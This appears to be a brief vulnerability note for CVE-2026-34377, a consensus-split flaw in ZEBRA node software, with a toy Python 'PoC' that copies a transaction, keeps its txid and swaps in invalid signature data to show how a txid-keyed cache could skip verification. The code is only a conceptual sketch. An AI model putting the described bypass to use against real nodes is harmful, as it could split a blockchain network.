CVE-2026-34377 ZEBRA共识分裂漏洞

# PoC for CVE-2026-34377: ZEBRA Consensus Split # This is a conceptual demonstration of the logic flaw. import hashlib def craft_malicious_tx(valid_tx): # In a real scenario, the attacker modifies the authorization data (e.g., signature) # such that the txid remains the same (SIGHASH_SINGLE/ANYONECANPAY abuse or malleability) # while the signature becomes invalid. # 1. Extract valid txid txid = valid_tx['txid'] # 2. Create a copy with modified authorization malicious_tx = valid_tx.copy() malicious_tx['authorization'] = "INVALID_SIGNATURE_DATA" # 3. The logic flaw implies the cache check passes based on txid # bypassing full verification on the block acceptance path. print(f"[+] Crafted malicious tx with txid: {txid}") print(f"[+] Authorization: {malicious_tx['authorization']}") return malicious_tx # Simulate usage target_tx = {"txid": "abc123...", "authorization": "VALID_SIG"} print(craft_malicious_tx(target_tx))